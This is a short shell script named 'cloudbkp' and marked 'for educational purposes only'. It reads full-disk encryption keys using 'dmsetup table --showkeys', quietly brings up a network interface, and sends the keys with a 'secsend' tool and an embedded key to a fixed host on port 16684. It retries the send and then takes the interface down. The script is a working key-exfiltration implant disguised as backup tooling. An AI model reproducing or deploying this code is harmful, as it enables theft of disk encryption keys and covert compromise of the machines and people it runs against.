cloudbkp

#!/bin/sh

# FOR EDUCATIONAL PURPOSES ONLY

KEYS="$(echo data begin ; dmsetup table --showkeys ; echo data end)"

IFNAME="$(/sbin/ip l | grep -Eo '(eth|enp)[^:[:space:]]+:' | grep -o '[^:]*' | head -1)"

[ ! "$IFNAME" ] && exit 0

/sbin/ip link set dev "$IFNAME" up > /dev/null 2>&1
/sbin/udhcpc -f -q -n -i "$IFNAME" > /dev/null 2>&1

for s in 5 10 0 ; do
    ( echo "$KEYS" | \
        /sbin/secsend 'WUHTdDlpGC0Rym1SHgyC/W98eb+Amwc9AZwFFTA6SXs' 192.168.122.1 16684 \
    ) && break
    sleep "$s"
done

interface="$IFNAME" /etc/udhcpc/default.script deconfig > /dev/null 2>&1
/sbin/ip link set dev "$IFNAME" down